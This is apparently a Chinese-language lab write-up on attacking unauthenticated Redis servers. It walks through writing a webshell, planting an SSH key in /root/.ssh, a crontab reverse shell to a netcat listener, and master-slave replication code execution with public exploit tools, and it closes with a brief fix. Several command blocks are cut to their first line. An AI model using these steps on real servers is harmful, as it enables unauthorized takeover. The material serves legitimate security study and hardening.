漏洞成因
默认情况下,Redis会监听6379端口,如果没有设置密码认证,那么任何能够访问该端口的用户都可以执行相应Redis命令。
环境
靶机
1 | wget http://download.redis.io/releases/redis-4.0.10.tar.gz |
攻击机
同样下载编译一个redis
步骤同上
连接redis
因为我这边靶机是放在云服务器上,所以需要另外调整一下设置
protected-mode
设置为no
bind
设置为0.0.0.0
,默认为只接受本机
在src
目录下通过./redis-cli -h ip
连接
漏洞利用
写入webshell
1 | config set dir /var/www/html |
\r\n\r\n
代表换行的意思,用redis
写入的文件会自带一些版本信息,如果不换行可能会导致无法执行。
SSH登录
1 | ssh-keygen -t rsa |
读取公钥到key.txt
里,顺便前后用换行,避免和redis
里其他缓存数据混合;然后将key.txt写入redis
设置redis的dump文件路径
1 | config set dir /root/.ssh |
ssh
连接
1 | ssh ip |
反弹shell
在crontab里写定时任务,然后反弹shell
nc -nvlp 5555
1 | config set dir /var/spool/cron/crontabs //也可以/var/spool/cron |
主从复制getshell
漏洞存在于4.x、5.x版本中,Redis提供了主从模式,主从模式指使用一个redis作为主机,其他的作为备份机,主、从机数据都是一样的,从机只负责读,主机只负责写。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的
1 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand |
1 | git clone https://github.com/Ridter/redis-rce.git |
脚本一把梭,大致扣了步骤,感觉没啥意思
修复
从环境配置就能看到,直接去redis.conf
里设置好bind
,只放行需要放行的ip
,以及设置好密码requirepass password